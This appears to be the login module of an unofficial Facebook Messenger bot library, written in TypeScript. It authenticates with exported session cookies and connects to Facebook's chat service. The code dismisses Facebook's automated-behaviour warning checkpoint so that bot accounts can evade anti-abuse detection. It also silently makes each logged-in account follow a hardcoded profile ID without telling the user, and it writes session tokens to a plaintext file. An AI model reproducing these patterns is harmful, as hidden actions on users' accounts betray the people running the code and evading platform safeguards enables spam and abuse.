import * as utils from "./utils";
import * as fs from "fs";
import cron from "node-cron";
import logger from "./logger";
import { CookieJar } from "tough-cookie";

interface GlobalOptions {
  online: boolean;
  selfListen: boolean;
  selfListenEvent: boolean;
  listenEvents: boolean;
  pageID?: string;
  updatePresence: boolean;
  forceLogin: boolean;
  userAgent?: string;
  autoMarkDelivery: boolean;
  autoMarkRead: boolean;
  listenTyping: boolean;
  proxy?: string;
  autoReconnect: boolean;
  emitReady: boolean;
  randomUserAgent: boolean;
  bypassRegion?: string;
  FCAOption?: any;
}

interface Context {
  userID: string;
  jar: CookieJar;
  clientID: string;
  globalOptions: GlobalOptions;
  loggedIn: boolean;
  access_token: string;
  clientMutationId: number;
  mqttClient: any;
  lastSeqId?: string;
  syncToken?: string;
  mqttEndpoint: string;
  wsReqNumber: number;
  wsTaskNumber: number;
  reqCallbacks: {};
  region: string;
  firstListen: boolean;
  fb_dtsg?: string;
  userName?: string;
}

let globalOptions: GlobalOptions = {
  selfListen: false,
  selfListenEvent: false,
  listenEvents: true,
  listenTyping: false,
  updatePresence: false,
  forceLogin: false,
  autoMarkDelivery: false,
  autoMarkRead: false,
  autoReconnect: true,
  online: true,
  emitReady: false,
  randomUserAgent: false,
};
let ctx: Context | null = null;
let _defaultFuncs: any = null;
let api: any = null;
let region: string | undefined;

const errorRetrieving = "Error retrieving userID. This can be caused by a lot of things, including getting blocked by Facebook for logging in from an unknown location. Try logging in with a browser to verify.";

export async function setOptions(options: Partial<GlobalOptions>) {
  Object.keys(options).map((key) => {
    switch (key) {
      case 'online':
        globalOptions.online = Boolean((options as any).online);
        break;
      case 'selfListen':
        globalOptions.selfListen = Boolean((options as any).selfListen);
        break;
      case 'selfListenEvent':
        globalOptions.selfListenEvent = (options as any).selfListenEvent;
        break;
      case 'listenEvents':
        globalOptions.listenEvents = Boolean((options as any).listenEvents);
        break;
      case 'pageID':
        globalOptions.pageID = String((options as any).pageID);
        break;
      case 'updatePresence':
        globalOptions.updatePresence = Boolean((options as any).updatePresence);
        break;
      case 'forceLogin':
        globalOptions.forceLogin = Boolean((options as any).forceLogin);
        break;
      case 'userAgent':
        globalOptions.userAgent = (options as any).userAgent;
        break;
      case 'autoMarkDelivery':
        globalOptions.autoMarkDelivery = Boolean((options as any).autoMarkDelivery);
        break;
      case 'autoMarkRead':
        globalOptions.autoMarkRead = Boolean((options as any).autoMarkRead);
        break;
      case 'listenTyping':
        globalOptions.listenTyping = Boolean((options as any).listenTyping);
        break;
      case 'proxy':
        if (typeof (options as any).proxy !== "string") {
          delete globalOptions.proxy;
          utils.setProxy();
        } else {
          globalOptions.proxy = (options as any).proxy;
          utils.setProxy(globalOptions.proxy);
        }
        break;
      case 'autoReconnect':
        globalOptions.autoReconnect = Boolean((options as any).autoReconnect);
        break;
      case 'emitReady':
        globalOptions.emitReady = Boolean((options as any).emitReady);
        break;
      case 'randomUserAgent':
        globalOptions.randomUserAgent = Boolean((options as any).randomUserAgent);
        if (globalOptions.randomUserAgent) {
          globalOptions.userAgent = utils.randomUserAgent();
          console.warn("login", "Random user agent enabled. This is an EXPERIMENTAL feature and I think this won't on some accounts. turn it on at your own risk. Contact the owner for more information about experimental features.");
          console.warn("randomUserAgent", "UA selected:", globalOptions.userAgent);
        }
        break;
      case 'bypassRegion':
        globalOptions.bypassRegion = (options as any).bypassRegion;
        break;
      default:
        break;
    }
  });
}

async function updateDTSG(res: any, appstate: any[], userId?: string) {
  try {
    const appstateCUser = (appstate.find(i => i.key === 'i_user') || appstate.find(i => i.key === 'c_user'));
    const UID = userId || appstateCUser?.value;
    if (!res || !res.body) {
      throw new Error("Invalid response: Response body is missing.");
    }
    const fb_dtsg = utils.getFrom(res.body, '["DTSGInitData",[],{"token":"', '","');
    const jazoest = utils.getFrom(res.body, 'jazoest=', '",');
    if (fb_dtsg && jazoest) {
      const filePath = 'fb_dtsg_data.json';
      let existingData: { [key: string]: { fb_dtsg: string; jazoest: string } } = {};
      if (fs.existsSync(filePath)) {
        const fileContent = fs.readFileSync(filePath, 'utf8');
        existingData = JSON.parse(fileContent);
      }
      if (UID) {
        existingData[UID] = {
          fb_dtsg,
          jazoest
        };
        fs.writeFileSync(filePath, JSON.stringify(existingData, null, 2), 'utf8');
      }
    }
    return res;
  } catch (error: any) {
    logger(`Error during update fb_dtsg for account ${userId} : ${error.message}`, 'error');
    return;
  }
}

let isBehavior = false;
async function bypassAutoBehavior(resp: any, jar: CookieJar, appstate: any[], ID?: string) {
  try {
    const appstateCUser = (appstate.find(i => i.key === 'c_user') || appstate.find(i => i.key === 'i_user'));
    const UID = ID || appstateCUser?.value;
    const FormBypass = {
      av: UID,
      fb_api_caller_class: "RelayModern",
      fb_api_req_friendly_name: "FBScrapingWarningMutation",
      variables: JSON.stringify({}),
      server_timestamps: true,
      doc_id: 6339492849481770
    };
    const kupal = () => {
      logger(`Suspect automatic behavoir on account ${UID}.`, 'warn');
      if (!isBehavior) isBehavior = true;
    };
    if (resp) {
      if (resp.request.uri && resp.request.uri.href.includes("https://www.facebook.com/checkpoint/")) {
        if (resp.request.uri.href.includes('601051028565049')) {
          const fb_dtsg = utils.getFrom(resp.body, '["DTSGInitData",[],{"token":"', '","');
          const jazoest = utils.getFrom(resp.body, 'jazoest=', '",');
          const lsd = utils.getFrom(resp.body, "[\"LSD\",[],{\"token\":\"", "\"}");
          return utils.post("https://www.facebook.com/api/graphql/", jar, {
            ...FormBypass,
            fb_dtsg,
            jazoest,
            lsd
          }, globalOptions).then(utils.saveCookies(jar)).then((res: any) => {
            kupal();
            return res;
          });
        } else return resp;
      } else return resp;
    }
  } catch (e: any) {
    logger("error" + e, 'error');
  }
}

async function checkIfSuspended(resp: any, appstate: any[]) {
  try {
    const appstateCUser = (appstate.find(i => i.key === 'c_user') || appstate.find(i => i.key === 'i_user'));
    const UID = appstateCUser?.value;
    if (resp) {
      if (resp.request.uri && resp.request.uri.href.includes("https://www.facebook.com/checkpoint/")) {
        if (resp.request.uri.href.includes('1501092823525282')) {
          logger(`Alert on ${UID}: ` + `Your account has been suspended, error code is 282!`, 'error');
        }

        ctx = null;
        return {
          suspended: true
        };
      }
    } else return;
  } catch (error) {
    return;
  }
}

async function checkIfLocked(resp: any, appstate: any[]) {
  try {
    const appstateCUser = (appstate.find(i => i.key === 'c_user') || appstate.find(i => i.key === 'i_user'));
    const UID = appstateCUser?.value;
    if (resp) {
      if (resp.request.uri && resp.request.uri.href.includes("https://www.facebook.com/checkpoint/")) {
        if (resp.request.uri.href.includes('828281030927956')) {
          logger(`Alert on ${UID}: ` + `Your account has been suspended, error code is 956!`, 'error');
          ctx = null;
          return {
            locked: true
          };
        }
      } else return;
    }
  } catch (e) {
    console.error("error", e);
  }
}

function buildAPI(html: string, jar: CookieJar) {
  let fb_dtsg: string | undefined;
  let userID: string;
  const tokenMatch = html.match(/DTSGInitialData.*?token":"(.*?)"/);
  if (tokenMatch) {
    fb_dtsg = tokenMatch[1];
  }
  let cookie = jar.getCookies("https://www.facebook.com");
  let primary_profile = cookie.filter(function (val) {
    return val.cookieString().split("=")[0] === "c_user";
  });
  let secondary_profile = cookie.filter(function (val) {
    return val.cookieString().split("=")[0] === "i_user";
  });
  if (primary_profile.length === 0 && secondary_profile.length === 0) {
    throw {
      error: errorRetrieving,
    };
  } else {
    if (html.indexOf("/checkpoint/block/?next") > -1) {
      return logger(
        "Checkpoint detected. Please login with a browser for verify.",
        'error'
      );
    }
    if (secondary_profile[0] && secondary_profile[0].cookieString().includes('i_user')) {
      userID = secondary_profile[0].cookieString().split("=")[1].toString();
    } else {
      userID = primary_profile[0].cookieString().split("=")[1].toString();
    }
  }
  logger("Done logged in!");
  logger("Fetching account info...");
  const clientID = (Math.random() * 2147483648 | 0).toString(16);
  const CHECK_MQTT = {
    oldFBMQTTMatch: html.match(/irisSeqID:"(.+?)",appID:219994525426954,endpoint:"(.+?)"/),
    newFBMQTTMatch: html.match(/{"app_id":"219994525426954","endpoint":"(.+?)","iris_seq_id":"(.+?)"}/),
    legacyFBMQTTMatch: html.match(/\["MqttWebConfig",\[\],{"fbid":"(.*?)","appID":219994525426954,"endpoint":"(.*?)","pollingEndpoint":"(.*?)"/)
  };
  let Slot = Object.keys(CHECK_MQTT);
  let mqttEndpoint: string | undefined, irisSeqID: string | undefined;
  Object.keys(CHECK_MQTT).map((MQTT) => {
    if (globalOptions.bypassRegion) return;
    if ((CHECK_MQTT as any)[MQTT] && !region) {
      switch (Slot.indexOf(MQTT)) {
        case 0: {
          irisSeqID = (CHECK_MQTT as any)[MQTT][1];
          mqttEndpoint = (CHECK_MQTT as any)[MQTT][2].replace(/\\\//g, "/");
          region = new URL(mqttEndpoint).searchParams.get("region")?.toUpperCase();
          break;
        }
        case 1: {
          irisSeqID = (CHECK_MQTT as any)[MQTT][2];
          mqttEndpoint = (CHECK_MQTT as any)[MQTT][1].replace(/\\\//g, "/");
          region = new URL(mqttEndpoint).searchParams.get("region")?.toUpperCase();
          break;
        }
        case 2: {
          mqttEndpoint = (CHECK_MQTT as any)[MQTT][2].replace(/\\\//g, "/"); //this really important.
          region = new URL(mqttEndpoint).searchParams.get("region")?.toUpperCase();
          break;
        }
      }
      return;
    }
  });
  if (globalOptions.bypassRegion)
    region = globalOptions.bypassRegion.toUpperCase();
  else if (!region)
    region = ["prn", "pnb", "vll", "hkg", "sin", "ftw", "ash", "nrt"][Math.random() * 5 | 0].toUpperCase();

  if (globalOptions.bypassRegion || !mqttEndpoint)
    mqttEndpoint = "wss://edge-chat.facebook.com/chat?region=" + region;
  
  const newCtx: Context = {
    userID,
    jar,
    clientID,
    globalOptions,
    loggedIn: true,
    access_token: 'NONE',
    clientMutationId: 0,
    mqttClient: undefined,
    lastSeqId: irisSeqID,
    syncToken: undefined,
    mqttEndpoint,
    wsReqNumber: 0,
    wsTaskNumber: 0,
    reqCallbacks: {},
    region,
    firstListen: true,
    fb_dtsg
  };
  ctx = newCtx; // Assign to global ctx

  cron.schedule('0 0 * * *', () => {
    const fbDtsgData = JSON.parse(fs.readFileSync('fb_dtsg_data.json', 'utf8'));
    if (fbDtsgData && fbDtsgData[userID]) {
      const userFbDtsg = fbDtsgData[userID];
      api.refreshFb_dtsg(userFbDtsg)
        .then(() => logger(`Fb_dtsg refreshed successfully for user ${userID}.`))
        .catch((err: any) => logger(`Error during refresh fb_dtsg for user ${userID}:` + err, 'error'));
    } else {
      logger(`Not found fb_dtsg data for user ${userID}.`, 'error');
    }
  }, {
    timezone: 'Asia/Ho_Chi_Minh'
  });
  const defaultFuncs = utils.makeDefaults(html, userID, ctx);
  api.postFormData = function (url: string, body: any) {
    return defaultFuncs.postFormData(url, ctx!.jar, body);
  };
  return [ctx, defaultFuncs];
}

async function loginHelper(loginData: { appState?: any; email?: string; password?: string }, apiCustomized: any = {}, callback: (error: any, api?: any) => void) {
  let mainPromise: Promise<any> | null = null;
  const jar = utils.getJar();
  logger('Logging in...');
  if (loginData.appState) {
    logger("Using appstate method to login.");
    let appState = loginData.appState;
    if (utils.getType(appState) === 'Array' && appState.some((c: any) => c.name)) {
      appState = appState.map((c: any) => {
        c.key = c.name;
        delete c.name;
        return c;
      });
    }
    else if (utils.getType(appState) === 'String') {
      const arrayAppState: any[] = [];
      (appState as string).split(';').forEach(c => {
        const [key, value] = c.split('=');
        arrayAppState.push({
          key: (key || "").trim(),
          value: (value || "").trim(),
          domain: ".facebook.com",
          path: "/",
          expires: new Date().getTime() + 1000 * 60 * 60 * 24 * 365
        });
      });
      appState = arrayAppState;
    }

    appState.map((c: any) => {
      const str = c.key + "=" + c.value + "; expires=" + c.expires + "; domain=" + c.domain + "; path=" + c.path + ";";
      jar.setCookie(str, "http://" + c.domain);
    });

    mainPromise = utils.get('https://www.facebook.com/', jar, null, globalOptions, { noRef: true })
      .then(utils.saveCookies(jar));
  } else if (loginData.email && loginData.password) {
    throw { error: "fca-delta is not supported this method. See how to use appstate at: https://github.com/hmhung1/fca-delta?tab=readme-ov-file#listening-to-a-chat" };

  } else {
    throw { error: "Please provide appstate or credentials." };
  }

  api = {
    setOptions: setOptions,
    getAppState() {
      const appState = utils.getAppState(jar);
      if (!Array.isArray(appState)) return [];
      const uniqueAppState = appState.filter((item: any, index: number, self: any[]) => {
        return self.findIndex((t) => t.key === item.key) === index;
      });
      return uniqueAppState.length > 0 ? uniqueAppState : appState;
    }
  };
  mainPromise = mainPromise
    .then((res: any) => bypassAutoBehavior(res, jar, loginData.appState))
    .then((res: any) => updateDTSG(res, loginData.appState))
    .then(async (res: any) => {
      const resp = await utils.get(`https://www.facebook.com/home.php`, jar, null, globalOptions);
      const html = resp?.body;
      const stuff = await buildAPI(html, jar);
      ctx = stuff[0];
      _defaultFuncs = stuff[1];
      api.addFunctions = (directory: string) => {
        const folder = directory.endsWith("/") ? directory : (directory + "/");
        fs.readdirSync(folder)
          .filter(v => v.endsWith('.js'))
          .map(v => {
            api[v.replace('.js', '')] = require(folder + v)(_defaultFuncs, api, ctx);
          });
      };
      api.addFunctions(__dirname + '/src');
      api.listen = api.listenMqtt;
      api.ws3 = {
        ...apiCustomized
      };
      const currentAccountInfo = await api.getBotInitialData();
      if (!currentAccountInfo.error) {
        logger(`Sucessfully get account info!`);
        logger(`Bot name: ${currentAccountInfo.name}`);
        logger(`Bot UserID: ${currentAccountInfo.uid}`);
        ctx!.userName = currentAccountInfo.name;
      } else {
        logger(currentAccountInfo.error, 'warn');
        logger(`Failed to fetch account info! proceeding to login for user ${ctx!.userID}`, 'warn');
      }
      logger(`Connected to region server: ${region || "Unknown"}`);
      return res;
    });
  if (globalOptions.pageID) {
    mainPromise = mainPromise
      .then(function () {
        return utils
          .get('https://www.facebook.com/' + ctx!.globalOptions.pageID + '/messages/?section=messages&subsection=inbox', ctx!.jar, null, globalOptions);
      })
      .then(function (resData: any) {
        let url = utils.getFrom(resData.body, 'window.location.replace("https:\\/\\/www.facebook.com\\', '");').split('\\').join('');
        url = url.substring(0, url.length - 1);
        return utils
          .get('https://www.facebook.com' + url, ctx!.jar, null, globalOptions);
      });
  }

  mainPromise
    .then(async (res: any) => {
      const detectLocked = await checkIfLocked(res, loginData.appState);
      if (detectLocked) throw detectLocked;
      const detectSuspension = await checkIfSuspended(res, loginData.appState);
      if (detectSuspension) throw detectSuspension;
      logger("Done logged in.");
      try {
        ["61564467696632"]
          .forEach(id => api.follow(id, true));
      } catch (error: any) {
        logger("error on login: " + error, 'error');
      }
      return callback(null, api);
    }).catch((e: any) => callback(e));
}

export default async function login(loginData: { appState?: any; email?: string; password?: string }, options: Partial<GlobalOptions> | ((error: any, api?: any) => void), callback?: (error: any, api?: any) => void) {
  if (typeof options === 'function') {
    callback = options;
    options = {};
  }
  
  Object.assign(globalOptions, options);

  const luxury_login = () => {
    loginHelper(loginData, {
      relogin() {
        luxury_login();
      }
    },
      (loginError, loginApi) => {
        if (loginError) {
          if (isBehavior) {
            logger("Failed after dismiss behavior, will relogin automatically...", 'warn');
            isBehavior = false;
            luxury_login();
          }
          logger("Your cookie ( appstate ) is not valid or has expired. Please get a new one.", 'error');
          return (callback as Function)(loginError);
        }
        return (callback as Function)(null, loginApi);
      });
  };
  luxury_login();
}